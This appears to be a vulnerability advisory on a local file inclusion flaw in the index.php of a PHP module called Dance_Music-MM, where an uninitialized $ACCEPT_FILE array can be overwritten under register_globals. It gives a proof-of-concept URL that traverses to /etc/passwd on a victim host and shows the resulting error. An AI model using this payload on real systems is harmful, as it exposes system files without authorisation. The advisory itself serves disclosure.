Vulnerabilities: Local File Inclusion in "index.php"  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Let's take a peek at source code of "index.php":  
  
------------>[source code]<------------  
  
include("header.php");  
...  
$ACCEPT_FILE['Acid_house.html'] = 'Acid_house.html';  
$ACCEPT_FILE['Alternative_dance.html'] = 'Alternative_dance.html';  
$ACCEPT_FILE['Ambient_house.html'] = 'Ambient_house.html';  
...  
$page = $_GET['page'];  
...  
$pagename = $ACCEPT_FILE[$page];  
if (!isSet($pagename)) $pagename = "index.html";  
include("modules/Dance_Music-MM/$pagename");  
  
------------>[/source code]<-----------  
  
As we can see, "$ACCEPT_FILE" array is uninitialized, so we can insert there  
arbitrary values from $_GET/$_POST/$_COOKIES parameters, if "register_globals"  
is active.  
  
Proof-of-concept test:  
  
http://victim.com/modules.php?name=Dance_Music-MM&page=1  
&ACCEPT_FILE[1]=../../../../../../../../../etc/passwd  
  
Warning: main() [function.main]: open_basedir restriction in effect.  
File(./modules/Dance_Music-MM/../../../../../../../../../../../../etc/passwd  
) is not within the allowed path(s): (/home/www/web32/)   
in /home/www/web32/html/portal/modules/Dance_Music-MM/index.php on line 154  
  
So local file inclusion exists, but safe mode can make exploiting harder.
